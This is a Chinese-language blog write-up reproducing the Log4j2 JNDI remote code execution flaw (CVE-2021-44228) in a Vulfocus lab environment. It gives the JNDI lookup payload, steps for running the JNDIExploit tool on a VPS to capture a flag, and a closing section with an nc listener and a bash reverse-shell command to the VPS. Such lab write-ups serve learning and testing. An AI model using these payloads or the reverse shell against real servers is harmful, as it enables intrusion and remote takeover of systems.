Apache Log4j2漏洞复现

背景:
Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。(此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。)

漏洞编号:
CNVD-2021-95914
CVE-2021-44228

影响版本:
经验证 2.15.0-rc1 版本存在绕过,实际受影响范围如下:
Apache Log4j 2.x < 2.15.0-rc2

复现步骤:
1,部署漏洞环境(http://vulfocus.fofa.so/)

2,访问页面

3,抓包发送到重发器

4,打开Burp的DNSlog

5,复制DNSlog地址

6,变更请求方法位Post

7,修改包信息,payload格式 ${jndi:ldap://dnslog地址/poc}

8,发送数据包验证漏洞是否存在(DNSlog有回显信息证明漏洞存在)

9,使用漏洞Exp ,JNDIExploit-1.2-SNAPSHOT.jar包,在vps上运行JNDI服务,LDAP监听端口为7000,http监听端口为5000

10,构造cmd命令和payload拿到flag
${jndi:ldap://.../TomcatBypass/TomcatEcho}

11,VPS上也会收到payload执行的信息

深入利用:
1,在VPS启动nc监听5001端口

2,再次运行JNDIExploit-1.2-SNAPSHOT.jar

3,构造cmd命令 /bin/bash –c ‘bash –I >& /dev/tcp/VPS IP/5001 0>&1’

4,发送数据包成功反弹shell

posted @ 2022-01-10 09:35  Colin.B  阅读(751)  评论(0编辑  收藏  举报